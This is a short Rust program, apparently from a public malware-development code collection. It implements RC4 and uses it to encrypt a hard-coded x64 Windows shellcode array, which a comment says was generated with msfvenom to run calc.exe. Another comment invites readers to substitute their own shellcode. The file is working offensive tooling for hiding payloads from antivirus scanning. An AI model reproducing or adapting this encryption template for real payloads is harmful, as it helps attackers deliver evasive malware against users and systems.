/*
    Rc4 Shellcode Encryption
    For More Codes: https://github.com/Whitecat18/Rust-for-Malware-Development.git
    @5mukx
*/

// Reference [WIkiPedia] : https://en.wikipedia.org/wiki/RC4
struct Rc4{
    s: [u8; 256],
    i: usize,
    j: usize,
}

impl Rc4 {
    fn new(key: &[u8]) -> Rc4{
        let mut s = [0u8; 256];
        for i in 0..256{
            s[i] = i as u8;
        }
        
        // Key Scheduling Algorithm (KSA): Permutation 
        let mut j = 0;
        for i in 0..256{
            j = (j + s[i] as usize + key[i % key.len()] as usize) % 256;
            s.swap(i, j);
        }
        Rc4{s,i:0,j:0}
    }

    // Pseudo-random Generation Algorithm (PRGA): Generation of Keystream
    fn apply_keystream(&mut self, data: &mut [u8]){
        for byte in data.iter_mut() {
            self.i = (self.i + 1) % 256;
            self.j = (self.j + self.s[self.i] as usize) % 256;
            self.s.swap(self.i, self.j);
            let t = (self.s[self.i] as usize + self.s[self.j] as usize) % 256;
            *byte ^= self.s[t];
        }
    }
}

fn main(){
    let key = b"This is nerdy .. im the key :)";
    let mut rc4 = Rc4::new(key);

    // repalce your shellcode 
    // msfvenom -p windows/x64/exec CMD=calc.exe -f rust
    let mut shellcode: [u8; 276] = [0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,
    0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,
    0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,
    0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,
    0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,
    0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,
    0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,
    0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,
    0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,
    0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,
    0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,
    0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,
    0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,
    0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,
    0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,
    0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,
    0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,
    0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,
    0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,
    0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,
    0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,
    0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,
    0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,
    0x2e,0x65,0x78,0x65,0x00];


    rc4.apply_keystream(&mut shellcode);

    println!("[+] Encrypted Shellcode: {:?}",shellcode);
}